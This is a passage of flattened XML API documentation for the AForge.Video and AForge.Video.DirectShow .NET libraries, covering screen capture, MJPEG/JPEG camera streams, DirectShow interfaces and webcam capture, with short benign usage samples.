of the received frame and some frame are skipped from processing. State of the video source. Current state of the video source object - running or not. Screen capture video source. The video source constantly captures the desktop screen. Sample usage: // get entire desktop area size Rectangle screenArea = Rectangle.Empty; foreach ( System.Windows.Forms.Screen screen in System.Windows.Forms.Screen.AllScreens ) { screenArea = Rectangle.Union( screenArea, screen.Bounds ); } // create screen capture video source ScreenCaptureStream stream = new ScreenCaptureStream( screenArea ); // set NewFrame event handler stream.NewFrame += new NewFrameEventHandler( video_NewFrame ); // start the video source stream.Start( ); // ... // signal to stop stream.SignalToStop( ); // ... private void video_NewFrame( object sender, NewFrameEventArgs eventArgs ) { // get new frame Bitmap bitmap = eventArgs.Frame; // process the frame } Initializes a new instance of the class. Screen's rectangle to capture (the rectangle may cover multiple displays). Initializes a new instance of the class. Screen's rectangle to capture (the rectangle may cover multiple displays). Time interval between making screen shots, ms. Start video source. Starts video source and return execution to caller. Video source object creates background thread and notifies about new frames with the help of event. Video source is not specified. Signal video source to stop its work. Signals video source to stop its background thread, stop to provide new frames and free resources. Wait for video source has stopped. Waits for source stopping after it was signalled to stop using method. Stop video source. Stops video source aborting its thread. Since the method aborts background thread, its usage is highly not preferred and should be done only if there are no other options. The correct way of stopping camera is signaling it stop and then waiting for background thread's completion. Free resource. New frame event. Notifies clients about new available frame from video source. Since video source may have multiple clients, each client is responsible for making a copy (cloning) of the passed video frame, because the video source disposes its own original copy after notifying of clients. Video source error event. This event is used to notify clients about any type of errors occurred in video source object, for example internal exceptions. Video playing finished event. This event is used to notify clients that the video playing has finished. Video source. Gets or sets the screen capture region. This property specifies which region (rectangle) of the screen to capture. It may cover multiple displays if those are available in the system. The property must be set before starting video source to have any effect. Time interval between making screen shots, ms. The property specifies time interval in milliseconds between consequent screen captures. Expected frame rate of the stream should be approximately 1000/FrameInteval. If the property is set to 0, then the stream will capture screen as fast as the system allows. Default value is set to 100. Received frames count. Number of frames the video source provided from the moment of the last access to the property. Received bytes count. The property is not implemented for this video source and always returns 0. State of the video source. Current state of video source object - running or not. MJPEG video source. The video source downloads JPEG images from the specified URL, which represents MJPEG stream. Sample usage: // create MJPEG video source MJPEGStream stream = new MJPEGStream( "some url" ); // set event handlers stream.NewFrame += new NewFrameEventHandler( video_NewFrame ); // start the video source stream.Start( ); // ... Some cameras produce HTTP header, which does not conform strictly to standard, what leads to .NET exception. To avoid this exception the useUnsafeHeaderParsing configuration option of httpWebRequest should be set, what may be done using application configuration file. <configuration> <system.net> <settings> <httpWebRequest useUnsafeHeaderParsing="true" /> </settings> </system.net> </configuration> Initializes a new instance of the class. Initializes a new instance of the class. URL, which provides MJPEG stream. Start video source. Starts video source and return execution to caller. Video source object creates background thread and notifies about new frames with the help of event. Video source is not specified. Signal video source to stop its work. Signals video source to stop its background thread, stop to provide new frames and free resources. Wait for video source has stopped. Waits for source stopping after it was signalled to stop using method. Stop video source. Stops video source aborting its thread. Since the method aborts background thread, its usage is highly not preferred and should be done only if there are no other options. The correct way of stopping camera is signaling it stop and then waiting for background thread's completion. Free resource. New frame event. Notifies clients about new available frame from video source. Since video source may have multiple clients, each client is responsible for making a copy (cloning) of the passed video frame, because the video source disposes its own original copy after notifying of clients. Video source error event. This event is used to notify clients about any type of errors occurred in video source object, for example internal exceptions. Video playing finished event. This event is used to notify clients that the video playing has finished. Use or not separate connection group. The property indicates to open web request in separate connection group. Video source. URL, which provides MJPEG stream. Login value. Login required to access video source. Password value. Password required to access video source. Gets or sets proxy information for the request. The local computer or application config file may specify that a default proxy to be used. If the Proxy property is specified, then the proxy settings from the Proxy property overridea the local computer or application config file and the instance will use the proxy settings specified. If no proxy is specified in a config file and the Proxy property is unspecified, the request uses the proxy settings inherited from Internet Explorer on the local computer. If there are no proxy settings in Internet Explorer, the request is sent directly to the server. User agent to specify in HTTP request header. Some IP cameras check what is the requesting user agent and depending on it they provide video in different formats or do not provide it at all. The property sets the value of user agent string, which is sent to camera in request header. Default value is set to "Mozilla/5.0". If the value is set to , the user agent string is not sent in request header. Received frames count. Number of frames the video source provided from the moment of the last access to the property. Received bytes count. Number of bytes the video source provided from the moment of the last access to the property. Request timeout value. The property sets timeout value in milliseconds for web requests. Default value is 10000 milliseconds. State of the video source. Current state of video source object - running or not. Force using of basic authentication when connecting to the video source. For some IP cameras (TrendNET IP cameras, for example) using standard .NET's authentication via credentials does not seem to be working (seems like camera does not request for authentication, but expects corresponding headers to be present on connection request). So this property allows to force basic authentication by adding required HTTP headers when request is sent. Default value is set to . Video related exception. The exception is thrown in the case of some video related issues, like failure of initializing codec, compression, etc. Initializes a new instance of the class. Exception's message. Delegate for new frame event handler. Sender object. Event arguments. Delegate for video source error event handler. Sender object. Event arguments. Delegate for playing finished event handler. Sender object. Reason of finishing video playing. Reason of finishing video playing. When video source class fire the event, they need to specify reason of finishing video playing. For example, it may be end of stream reached. Video playing has finished because it end was reached. Video playing has finished because it was stopped by user. Video playing has finished because the device was lost (unplugged). Video playing has finished because of some error happened the video source (camera, stream, file, etc.). A error reporting event usually is fired to provide error information. Arguments for new frame event from video source. Initializes a new instance of the class. New frame. New frame from video source. Arguments for video source error event from video source. Initializes a new instance of the class. Error description. Video source error description. JPEG video source. The video source constantly downloads JPEG files from the specified URL. Sample usage: // create JPEG video source JPEGStream stream = new JPEGStream( "some url" ); // set NewFrame event handler stream.NewFrame += new NewFrameEventHandler( video_NewFrame ); // start the video source stream.Start( ); // ... // signal to stop stream.SignalToStop( ); // ... private void video_NewFrame( object sender, NewFrameEventArgs eventArgs ) { // get new frame Bitmap bitmap = eventArgs.Frame; // process the frame } Some cameras produce HTTP header, which does not conform strictly to standard, what leads to .NET exception. To avoid this exception the useUnsafeHeaderParsing configuration option of httpWebRequest should be set, what may be done using application configuration file. <configuration> <system.net> <settings> <httpWebRequest useUnsafeHeaderParsing="true" /> </settings> </system.net> </configuration> Initializes a new instance of the class. Initializes a new instance of the class. URL, which provides JPEG files. Start video source. Starts video source and return execution to caller. Video source object creates background thread and notifies about new frames with the help of event. Video source is not specified. Signal video source to stop its work. Signals video source to stop its background thread, stop to provide new frames and free resources. Wait for video source has stopped. Waits for source stopping after it was signalled to stop using method. Stop video source. Stops video source aborting its thread. Since the method aborts background thread, its usage is highly not preferred and should be done only if there are no other options. The correct way of stopping camera is signaling it stop and then waiting for background thread's completion. Free resource. New frame event. Notifies clients about new available frame from video source. Since video source may have multiple clients, each client is responsible for making a copy (cloning) of the passed video frame, because the video source disposes its own original copy after notifying of clients. Video source error event. This event is used to notify clients about any type of errors occurred in video source object, for example internal exceptions. Video playing finished event. This event is used to notify clients that the video playing has finished. Use or not separate connection group. The property indicates to open web request in separate connection group. Use or not caching. If the property is set to true, then a fake random parameter will be added to URL to prevent caching. It's required for clients, who are behind proxy server. Frame interval. The property sets the interval in milliseconds betwen frames. If the property is set to 100, then the desired frame rate will be 10 frames per second. Default value is 0 - get new frames as fast as possible. Video source. URL, which provides JPEG files. Login value. Login required to access video source. Password value. Password required to access video source. Gets or sets proxy information for the request. The local computer or application config file may specify that a default proxy to be used. If the Proxy property is specified, then the proxy settings from the Proxy property overridea the local computer or application config file and the instance will use the proxy settings specified. If no proxy is specified in a config file and the Proxy property is unspecified, the request uses the proxy settings inherited from Internet Explorer on the local computer. If there are no proxy settings in Internet Explorer, the request is sent directly to the server. Received frames count. Number of frames the video source provided from the moment of the last access to the property. Received bytes count. Number of bytes the video source provided from the moment of the last access to the property. Request timeout value. The property sets timeout value in milliseconds for web requests. Default value is set 10000 milliseconds. State of the video source. Current state of video source object - running or not. Force using of basic authentication when connecting to the video source. For some IP cameras (TrendNET IP cameras, for example) using standard .NET's authentication via credentials does not seem to be working (seems like camera does not request for authentication, but expects corresponding headers to be present on connection request). So this property allows to force basic authentication by adding required HTTP headers when request is sent. Default value is set to . Some internal utilities for handling arrays. Check if the array contains needle at specified position. Source array to check for needle. Needle we are searching for. Start index in source array. Returns true if the source array contains the needle at the specified index. Otherwise it returns false. Find subarray in the source array. Source array to search for needle. Needle we are searching for. Start index in source array. Number of bytes in source array, where the needle is searched for. Returns starting position of the needle if it was found or -1 otherwise. ================================================ FILE: Remote Access Tool/packages/AForge.Video.DirectShow.2.2.5/lib/AForge.Video.DirectShow.xml ================================================ AForge.Video.DirectShow A strongly-typed resource class, for looking up localized strings, etc. Returns the cached ResourceManager instance used by this class. Overrides the current thread's CurrentUICulture property for all resource lookups using this strongly typed resource class. This interface is exposed by all input and output pins of DirectShow filters. Connects the pin to another pin. Other pin to connect to. Type to use for the connections (optional). Return's HRESULT error code. Makes a connection to this pin and is called by a connecting pin. Connecting pin. Media type of the samples to be streamed. Return's HRESULT error code. Breaks the current pin connection. Return's HRESULT error code. Returns a pointer to the connecting pin. Receives IPin interface of connected pin (if any). Return's HRESULT error code. Returns the media type of this pin's connection. Pointer to an structure. If the pin is connected, the media type is returned. Otherwise, the structure is initialized to a default state in which all elements are 0, with the exception of lSampleSize, which is set to 1, and FixedSizeSamples, which is set to true. Return's HRESULT error code. Retrieves information about this pin (for example, the name, owning filter, and direction). structure that receives the pin information. Return's HRESULT error code. Retrieves the direction for this pin. Receives direction of the pin. Return's HRESULT error code. Retrieves an identifier for the pin. Pin identifier. Return's HRESULT error code. Queries whether a given media type is acceptable by the pin. structure that specifies the media type. Return's HRESULT error code. Provides an enumerator for this pin's preferred media types. Address of a variable that receives a pointer to the IEnumMediaTypes interface. Return's HRESULT error code. Provides an array of the pins to which this pin internally connects. Address of an array of IPin pointers. On input, specifies the size of the array. When the method returns, the value is set to the number of pointers returned in the array. Return's HRESULT error code. Notifies the pin that no additional data is expected. Return's HRESULT error code. Begins a flush operation. Return's HRESULT error code. Ends a flush operation. Return's HRESULT error code. Specifies that samples following this call are grouped as a segment with a given start time, stop time, and rate. Start time of the segment, relative to the original source, in 100-nanosecond units. End time of the segment, relative to the original source, in 100-nanosecond units. Rate at which this segment should be processed, as a percentage of the original rate. Return's HRESULT error code. The interface provides methods for building a filter graph. An application can use it to add filters to the graph, connect or disconnect filters, remove filters, and perform other basic operations. Adds a filter to the graph and gives it a name. Filter to add to the graph. Name of the filter. Return's HRESULT error code. Removes a filter from the graph. Filter to be removed from the graph. Return's HRESULT error code. Provides an enumerator for all filters in the graph. Filter enumerator. Return's HRESULT error code. Finds a filter that was added with a specified name. Name of filter to search for. Interface of found filter. Return's HRESULT error code. Connects two pins directly (without intervening filters). Output pin. Input pin. Media type to use for the connection. Return's HRESULT error code. Breaks the existing pin connection and reconnects it to the same pin. Pin to disconnect and reconnect. Return's HRESULT error code. Disconnects a specified pin. Pin to disconnect. Return's HRESULT error code. Sets the reference clock to the default clock. Return's HRESULT error code. The interface is exposed by source filters to set the file name and media type of the media file that they are to render. Loads the source filter with the file. The name of the file to open. Media type of the file. This can be null. Return's HRESULT error code. Retrieves the current file. Name of media file. Receives media type. Return's HRESULT error code. The interface controls certain video capture operations such as enumerating available frame rates and image orientation. Retrieves the capabilities of the underlying hardware. Pin to query capabilities from. Get capabilities of the specified pin. Return's HRESULT error code. Sets the video control mode of operation. The pin to set the video control mode on. Value specifying a combination of the flags to set the video control mode. Return's HRESULT error code. Retrieves the video control mode of operation. The pin to retrieve the video control mode from. Gets combination of flags, which specify the video control mode. Return's HRESULT error code. The method retrieves the actual frame rate, expressed as a frame duration in 100-nanosecond units. USB (Universal Serial Bus) and IEEE 1394 cameras may provide lower frame rates than requested because of bandwidth availability. This is only available during video streaming. The pin to retrieve the frame rate from. Gets frame rate in frame duration in 100-nanosecond units. Return's HRESULT error code. Retrieves the maximum frame rate currently available based on bus bandwidth usage for connections such as USB and IEEE 1394 camera devices where the maximum frame rate can be limited by bandwidth availability. The pin to retrieve the maximum frame rate from. Index of the format to query for maximum frame rate. This index corresponds to the order in which formats are enumerated by . Frame image size (width and height) in pixels. Gets maximum available frame rate. The frame rate is expressed as frame duration in 100-nanosecond units. Return's HRESULT error code. Retrieves a list of available frame rates. The pin to retrieve the maximum frame rate from. Index of the format to query for maximum frame rate. This index corresponds to the order in which formats are enumerated by . Frame image size (width and height) in pixels. Number of elements in the list of frame rates. Array of frame rates in 100-nanosecond units. Return's HRESULT error code. DirectShow filter categories. Audio input device category. Equals to CLSID_AudioInputDeviceCategory. Video input device category. Equals to CLSID_VideoInputDeviceCategory. Video compressor category. Equals to CLSID_VideoCompressorCategory. Audio compressor category Equals to CLSID_AudioCompressorCategory. Provides the CLSID of an object that can be stored persistently in the system. Allows the object to specify which object handler to use in the client process, as it is used in the default implementation of marshaling. Retrieves the class identifier (CLSID) of the object. The IAMCameraControl interface controls camera settings such as zoom, pan, aperture adjustment, or shutter speed. To obtain this interface, query the filter that controls the camera. Gets the range and default value of a specified camera property. Specifies the property to query. Receives the minimum value of the property. Receives the maximum value of the property. Receives the step size for the property. Receives the default value of the property. Receives a member of the CameraControlFlags enumeration, indicating whether the property is controlled automatically or manually. Return's HRESULT error code. Sets a specified property on the camera. Specifies the property to set. Specifies the new value of the property. Specifies the desired control setting, as a member of the CameraControlFlags enumeration. Return's HRESULT error code. Gets the current setting of a camera property. Specifies the property to retrieve. Receives the value of the property. Receives a member of the CameraControlFlags enumeration. The returned value indicates whether the setting is controlled manually or automatically. Return's HRESULT error code. Capabilities of video device such as frame size and frame rate. Frame size supported by video device. Average frame rate of video device for corresponding frame size. Maximum frame rate of video device for corresponding frame size. Number of bits per pixel provided by the camera. Check if the video capability equals to the specified object. Object to compare with. Returns true if both are equal are equal or false otherwise. Check if two video capabilities are equal. Second video capability to compare with. Returns true if both video capabilities are equal or false otherwise. Get hash code of the object. Returns hash code ot the object Equality operator. First object to check. Seconds object to check. Return true if both objects are equal or false otherwise. Inequality operator. First object to check. Seconds object to check. Return true if both objects are not equal or false otherwise. Frame rate supported by video device for corresponding frame size. This field is depricated - should not be used. Its value equals to . Specifies the physical type of pin (audio or video). Default value of connection type. Physically it does not exist, but just either to specify that connection type should not be changed (input) or was not determined (output). Specifies a tuner pin for video. Specifies a composite pin for video. Specifies an S-Video (Y/C video) pin. Specifies an RGB pin for video. Specifies a YRYBY (Y, R–Y, B–Y) pin for video. Specifies a serial digital pin for video. Specifies a parallel digital pin for video. Specifies a SCSI (Small Computer System Interface) pin for video. Specifies an AUX (auxiliary) pin for video. Specifies an IEEE 1394 pin for video. Specifies a USB (Universal Serial Bus) pin for video. Specifies a video decoder pin. Specifies a video encoder pin. Specifies a SCART (Peritel) pin for video. Not used. Specifies a tuner pin for audio. Specifies a line pin for audio. Specifies a microphone pin. Specifies an AES/EBU (Audio Engineering Society/European Broadcast Union) digital pin for audio. Specifies an S/PDIF (Sony/Philips Digital Interface Format) digital pin for audio. Specifies a SCSI pin for audio. Specifies an AUX pin for audio. Specifies an IEEE 1394 pin for audio. Specifies a USB pin for audio. Specifies an audio decoder pin. This enumeration indicates a pin's direction. Input pin. Output pin. The structure describes the format of a media sample. Globally unique identifier (GUID) that specifies the major type of the media sample. GUID that specifies the subtype of the media sample. If true, samples are of a fixed size. If true, samples are compressed using temporal (interframe) compression. Size of the sample in bytes. For compressed data, the value can be zero. GUID that specifies the structure used for the format block. Not used. Size of the format block, in bytes. Pointer to the format block. Destroys the instance of the class. Dispose the object. Dispose the object Indicates if disposing was initiated manually. The structure contains information about a pin. Owning filter. Direction of the pin. Name of the pin. Filter's name. Owning graph. The structure describes the bitmap and color information for a video image. structure that specifies the source video window. structure that specifies the destination video window. Approximate data rate of the video stream, in bits per second. Data error rate, in bit errors per second. The desired average display time of the video frames, in 100-nanosecond units. structure that contains color and dimension information for the video image bitmap. The structure describes the bitmap and color information for a video image (v2). structure that specifies the source video window. structure that specifies the destination video window. Approximate data rate of the video stream, in bits per second. Data error rate, in bit errors per second. The desired average display time of the video frames, in 100-nanosecond units. Flags that specify how the video is interlaced. Flag set to indicate that the duplication of the stream should be restricted. The X dimension of picture aspect ratio. The Y dimension of picture aspect ratio. Reserved for future use. Reserved for future use. structure that contains color and dimension information for the video image bitmap. The structure contains information about the dimensions and color format of a device-independent bitmap (DIB). Specifies the number of bytes required by the structure. Specifies the width of the bitmap. Specifies the height of the bitmap, in pixels. Specifies the number of planes for the target device. This value must be set to 1. Specifies the number of bits per pixel. If the bitmap is compressed, this member is a FOURCC the specifies the compression. Specifies the size, in bytes, of the image. Specifies the horizontal resolution, in pixels per meter, of the target device for the bitmap. Specifies the vertical resolution, in pixels per meter, of the target device for the bitmap. Specifies the number of color indices in the color table that are actually used by the bitmap. Specifies the number of color indices that are considered important for displaying the bitmap. The structure defines the coordinates of the upper-left and lower-right corners of a rectangle. Specifies the x-coordinate of the upper-left corner of the rectangle. Specifies the y-coordinate of the upper-left corner of the rectangle. Specifies the x-coordinate of the lower-right corner of the rectangle. Specifies the y-coordinate of the lower-right corner of the rectangle. The CAUUID structure is a Counted Array of UUID or GUID types. Size of the array pointed to by pElems. Pointer to an array of UUID values, each of which specifies UUID. Performs manual marshaling of pElems to retrieve an array of Guid objects. A managed representation of pElems. Enumeration of DirectShow event codes. Specifies a filter's state or the state of the filter graph. Stopped. The filter is not processing data. Paused. The filter is processing data, but not rendering it. Running. The filter is processing and rendering data. The interface is exposed by the Sample Grabber Filter. It enables an application to retrieve individual media samples as they move through the filter graph. Specifies whether the filter should stop the graph after receiving one sample. Boolean value specifying whether the filter should stop the graph after receiving one sample. Return's HRESULT error code. Specifies the media type for the connection on the Sample Grabber's input pin. Specifies the required media type. Return's HRESULT error code. Retrieves the media type for the connection on the Sample Grabber's input pin. structure, which receives media type. Return's HRESULT error code. Specifies whether to copy sample data into a buffer as it goes through the filter. Boolean value specifying whether to buffer sample data. If true, the filter copies sample data into an internal buffer. Return's HRESULT error code. Retrieves a copy of the sample that the filter received most recently. Pointer to the size of the buffer. If pBuffer is NULL, this parameter receives the required size. Pointer to a buffer to receive a copy of the sample, or NULL. Return's HRESULT error code. Not currently implemented. Return's HRESULT error code. Specifies a callback method to call on incoming samples. interface containing the callback method, or NULL to cancel the callback. Index specifying the callback method. Return's HRESULT error code. This interface builds capture graphs and other custom filter graphs. Specify filter graph for the capture graph builder to use. Filter graph's interface. Return's HRESULT error code. Retrieve the filter graph that the builder is using. Filter graph's interface. Return's HRESULT error code. Create file writing section of the filter graph. GUID that represents either the media subtype of the output or the class identifier (CLSID) of a multiplexer filter or file writer filter. Output file name. Receives the multiplexer's interface. Receives the file writer's IFileSinkFilter interface. Can be NULL. Return's HRESULT error code. Searche the graph for a specified interface, starting from a specified filter. GUID that specifies the search criteria. GUID that specifies the major media type of an output pin, or NULL. interface of the filter. The method begins searching from this filter. Interface identifier (IID) of the interface to locate. Receives found interface. Return's HRESULT error code. Connect an output pin on a source filter to a rendering filter, optionally through a compression filter. Pin category. Major-type GUID that specifies the media type of the output pin. Starting filter for the connection. Interface of an intermediate filter, such as a compression filter. Can be NULL. Sink filter, such as a renderer or mux filter. Return's HRESULT error code. Set the start and stop times for one or more streams of captured data. Pin category. Major-type GUID that specifies the media type. interface that specifies which filter to control. Start time. Stop time. Value that is sent as the second parameter of the EC_STREAM_CONTROL_STARTED event notification. Value that is sent as the second parameter of the EC_STREAM_CONTROL_STOPPED event notification. Return's HRESULT error code. Preallocate a capture file to a specified size. File name to create or resize. Size of the file to allocate, in bytes. Return's HRESULT error code. Copy the valid media data from a capture file. Old file name. New file name. Boolean value that specifies whether pressing the ESC key cancels the copy operation. IAMCopyCaptureFileProgress interface to display progress information, or NULL. Return's HRESULT error code. Interface on a filter, or to an interface on a pin. Pin direction (input or output). Pin category. Media type. Boolean value that specifies whether the pin must be unconnected. Zero-based index of the pin to retrieve, from the set of matching pins. Interface of the matching pin. Return's HRESULT error code. This interface provides methods that enable an application to build a filter graph. Adds a filter to the graph and gives it a name. Filter to add to the graph. Name of the filter. Return's HRESULT error code. Removes a filter from the graph. Filter to be removed from the graph. Return's HRESULT error code. Provides an enumerator for all filters in the graph. Filter enumerator. Return's HRESULT error code. Finds a filter that was added with a specified name. Name of filter to search for. Interface of found filter. Return's HRESULT error code. Connects two pins directly (without intervening filters). Output pin. Input pin. Media type to use for the connection. Return's HRESULT error code. Breaks the existing pin connection and reconnects it to the same pin. Pin to disconnect and reconnect. Return's HRESULT error code. Disconnects a specified pin. Pin to disconnect. Return's HRESULT error code. Sets the reference clock to the default clock. Return's HRESULT error code. Connects two pins. If they will not connect directly, this method connects them with intervening transforms. Output pin. Input pin. Return's HRESULT error code. Adds a chain of filters to a specified output pin to render it. Output pin. Return's HRESULT error code. Builds a filter graph that renders the specified file. Specifies a string that contains file name or device moniker. Reserved. Return's HRESULT error code. Adds a source filter to the filter graph for a specific file. Specifies the name of the file to load. Specifies a name for the source filter. Variable that receives the interface of the source filter. Return's HRESULT error code. Sets the file for logging actions taken when attempting to perform an operation. Handle to the log file. Return's HRESULT error code. Requests that the graph builder return as soon as possible from its current task. Return's HRESULT error code. Queries whether the current operation should continue. Return's HRESULT error code. The interface provides callback methods for the method. Callback method that receives a pointer to the media sample. Starting time of the sample, in seconds. Pointer to the sample's IMediaSample interface. Return's HRESULT error code. Callback method that receives a pointer to the sample bufferю Starting time of the sample, in seconds. Pointer to a buffer that contains the sample data. Length of the buffer pointed to by buffer, in bytes Return's HRESULT error code. Local video device selection form. The form provides a standard way of selecting local video device (USB web camera, capture board, etc. - anything supporting DirectShow interface), which can be reused across applications. It allows selecting video device, video size and snapshots size (if device supports snapshots and user needs them). Required designer variable. Clean up any resources being used. true if managed resources should be disposed; otherwise, false. Required method for Designer support - do not modify the contents of this method with the code editor. Initializes a new instance of the class. Specifies if snapshot configuration should be done or not. The property specifies if the dialog form should allow configuration of snapshot sizes (if selected video source supports snapshots). If the property is set to , then the form will provide additional combo box enumerating supported snapshot sizes. Otherwise the combo boxes will be hidden. If the property is set to and selected device supports snapshots, then property of the configured device is set to . Default value of the property is set to . Provides configured video device. The property provides configured video device if user confirmed the dialog using "OK" button. If user canceled the dialog, the property is set to . Moniker string of the selected video device. The property allows to get moniker string of the selected device on form completion or set video device which should be selected by default on form loading. Video frame size of the selected device. The property allows to get video size of the selected device on form completion or set the size to be selected by default on form loading. Snapshot frame size of the selected device. The property allows to get snapshot size of the selected device on form completion or set the size to be selected by default on form loading (if property is set ). Video input to use with video capture card. The property allows to get video input of the selected device on form completion or set it to be selected by default on form loading. Some miscellaneous functions. Get filter's pin. Filter to get pin of. Pin's direction. Pin's number. Returns filter's pin. Get filter's input pin. Filter to get pin of. Pin's number. Returns filter's pin. Get filter's output pin. Filter to get pin of. Pin's number. Returns filter's pin. The interface indicates that an object supports property pages. Fills a counted array of GUID values where each GUID specifies the CLSID of each property page that can be displayed in the property sheet for this object. Pointer to a CAUUID structure that must be initialized and filled before returning. Return's HRESULT error code. Enumerates pins on a filter. Retrieves a specified number of pins. Number of pins to retrieve. Array of size cPins that is filled with IPin pointers. Receives the number of pins retrieved. Return's HRESULT error code. Skips a specified number of pins in the enumeration sequence. Number of pins to skip. Return's HRESULT error code. Resets the enumeration sequence to the beginning. Return's HRESULT error code. Makes a copy of the enumerator with the same enumeration state. Duplicate of the enumerator. Return's HRESULT error code. This interface sets the output format on certain capture and compression filters, for both audio and video. Set the output format on the pin. Media type to set. Return's HRESULT error code. Retrieves the audio or video stream's format. Retrieved media type. Return's HRESULT error code. Retrieve the number of format capabilities that this pin supports. Variable that receives the number of format capabilities. Variable that receives the size of the configuration structure in bytes. Return's HRESULT error code. Retrieve a set of format capabilities. Specifies the format capability to retrieve, indexed from zero. Retrieved media type. Byte array, which receives information about capabilities. Return's HRESULT error code. Collection of filters' information objects. The class allows to enumerate DirectShow filters of specified category. For a list of categories see . Sample usage: // enumerate video devices videoDevices = new FilterInfoCollection( FilterCategory.VideoInputDevice ); // list devices foreach ( FilterInfo device in videoDevices ) { // ... } Initializes a new instance of the class. Guid of DirectShow filter category. See . Build collection of filters' information objects for the specified filter category. Get filter information object. Index of filter information object to retrieve. Filter information object. Video source for local video capture device (for example USB webcam). This video source class captures video data from local video capture device, like USB web camera (or internal), frame grabber, capture board - anything which supports DirectShow interface. For devices which has a shutter button or support external software triggering, the class also allows to do snapshots. Both video size and snapshot size can be configured. Sample usage: // enumerate video devices videoDevices = new FilterInfoCollection( FilterCategory.VideoInputDevice ); // create video source VideoCaptureDevice videoSource = new VideoCaptureDevice( videoDevices[0].MonikerString ); // set NewFrame event handler videoSource.NewFrame += new NewFrameEventHandler( video_NewFrame ); // start the video source videoSource.Start( ); // ... // signal to stop when you no longer need capturing videoSource.SignalToStop( ); // ... private void video_NewFrame( object sender, NewFrameEventArgs eventArgs ) { // get new frame Bitmap bitmap = eventArgs.Frame; // process the frame } Initializes a new instance of the class. Initializes a new instance of the class. Moniker string of video capture device. Start video source. Starts video source and return execution to caller. Video source object creates background thread and notifies about new frames with the help of event. Signal video source to stop its work. Signals video source to stop its background thread, stop to provide new frames and free resources. Wait for video source has stopped. Waits for source stopping after it was signalled to stop using method. Stop video source. Stops video source aborting its thread. Since the method aborts background thread, its usage is highly not preferred and should be done only if there are no other options. The correct way of stopping camera is signaling it stop and then waiting for background thread's completion. Free resource. Display property window for the video capture device providing its configuration capabilities. Handle of parent window. If you pass parent window's handle to this method, then the displayed property page will become modal window and none of the controls from the parent window will be accessible. In order to make it modeless it is required to pass as parent window's handle. The video source does not support configuration property page. Display property page of video crossbar (Analog Video Crossbar filter). Handle of parent window. The Analog Video Crossbar filter is modeled after a general switching matrix, with n inputs and m outputs. For example, a video card might have two external connectors: a coaxial connector for TV, and an S-video input. These would be represented as input pins on the filter. The displayed property page allows to configure the crossbar by selecting input of a video card to use. This method can be invoked only when video source is running ( is ). Otherwise it generates exception. Use method to check if running video source provides crossbar configuration. The video source must be running in order to display crossbar property page. Crossbar configuration is not supported by currently running video source. Check if running video source provides crossbar for configuration. Returns if crossbar configuration is available or otherwise. The method reports if the video source provides crossbar configuration using . Simulates an external trigger. The method simulates external trigger for video cameras, which support providing still image snapshots. The effect is equivalent as pressing camera's shutter button - a snapshot will be provided through event. The property must be set to to enable receiving snapshots. Sets a specified property on the camera. Specifies the property to set. Specifies the new value of the property. Specifies the desired control setting. Returns true on sucee or false otherwise. Video source is not specified - device moniker is not set. Failed creating device object for moniker. The video source does not support camera control. Gets the current setting of a camera property. Specifies the property to retrieve. Receives the value of the property. Receives the value indicating whether the setting is controlled manually or automatically Returns true on sucee or false otherwise. Video source is not specified - device moniker is not set. Failed creating device object for moniker. The video source does not support camera control. Gets the range and default value of a specified camera property. Specifies the property to query. Receives the minimum value of the property. Receives the maximum value of the property. Receives the step size for the property. Receives the default value of the property. Receives a member of the enumeration, indicating whether the property is controlled automatically or manually. Returns true on sucee or false otherwise. Video source is not specified - device moniker is not set. Failed creating device object for moniker. The video source does not support camera control. Worker thread. Notifies clients about new frame. New frame's image. Notifies clients about new snapshot frame. New snapshot's image. Current video input of capture card. The property specifies video input to use for video devices like capture cards (those which provide crossbar configuration). List of available video inputs can be obtained from property. To check if the video device supports crossbar configuration, the method can be used. This property can be set as before running video device, as while running it. By default this property is set to , which means video input will not be set when running video device, but currently configured will be used. After video device is started this property will be updated anyway to tell current video input. Available inputs of the video capture card. The property provides list of video inputs for devices like video capture cards. Such devices usually provide several video inputs, which can be selected using crossbar. If video device represented by the object of this class supports crossbar, then this property will list all video inputs. However if it is a regular USB camera, for example, which does not provide crossbar configuration, the property will provide zero length array. Video input to be used can be selected using . See also method, which provides crossbar configuration dialog. It is recomended not to call this property immediately after method, since device may not start yet and provide its information. It is better to call the property before starting device or a bit after (but not immediately after). Specifies if snapshots should be provided or not. Some USB cameras/devices may have a shutter button, which may result into snapshot if it is pressed. So the property specifies if the video source will try providing snapshots or not - it will check if the camera supports providing still image snapshots. If camera supports snapshots and the property is set to , then snapshots will be provided through event. Check supported sizes of snapshots using property and set the desired size using property. The property must be set before running the video source to take effect. Default value of the property is set to . New frame event. Notifies clients about new available frame from video source. Since video source may have multiple clients, each client is responsible for making a copy (cloning) of the passed video frame, because the video source disposes its own original copy after notifying of clients. Snapshot frame event. Notifies clients about new available snapshot frame - the one which comes when camera's snapshot/shutter button is pressed. See documentation to for additional information. Since video source may have multiple clients, each client is responsible for making a copy (cloning) of the passed snapshot frame, because the video source disposes its own original copy after notifying of clients. Video source error event. This event is used to notify clients about any type of errors occurred in video source object, for example internal exceptions. Video playing finished event. This event is used to notify clients that the video playing has finished. Video source. Video source is represented by moniker string of video capture device. Received frames count. Number of frames the video source provided from the moment of the last access to the property. Received bytes count. Number of bytes the video source provided from the moment of the last access to the property. State of the video source. Current state of video source object - running or not. Obsolete - no longer in use The property is obsolete. Use property instead. Setting this property does not have any effect. Obsolete - no longer in use The property is obsolete. Use property instead. Setting this property does not have any effect. Obsolete - no longer in use. The property is obsolete. Setting this property does not have any effect. Video resolution to set. The property allows to set one of the video resolutions supported by the camera. Use property to get the list of supported video resolutions. The property must be set before camera is started to make any effect. Default value of the property is set to , which means default video resolution is used. Snapshot resolution to set. The property allows to set one of the snapshot resolutions supported by the camera. Use property to get the list of supported snapshot resolutions. The property must be set before camera is started to make any effect. Default value of the property is set to , which means default snapshot resolution is used. Video capabilities of the device. The property provides list of device's video capabilities. It is recomended not to call this property immediately after method, since device may not start yet and provide its information. It is better to call the property before starting device or a bit after (but not immediately after). Snapshot capabilities of the device. The property provides list of device's snapshot capabilities. If the array has zero length, then it means that this device does not support making snapshots. See documentation to for additional information. It is recomended not to call this property immediately after method, since device may not start yet and provide its information. It is better to call the property before starting device or a bit after (but not immediately after). Source COM object of camera capture device. The source COM object of camera capture device is exposed for the case when user may need get direct access to the object for making some custom configuration of camera through DirectShow interface, for example. If camera is not running, the property is set to . The interface sets properties on the video window. Sets the video window caption. Caption. Return's HRESULT error code. Retrieves the video window caption. Caption. Return's HRESULT error code. Sets the window style on the video window. Window style flags. Return's 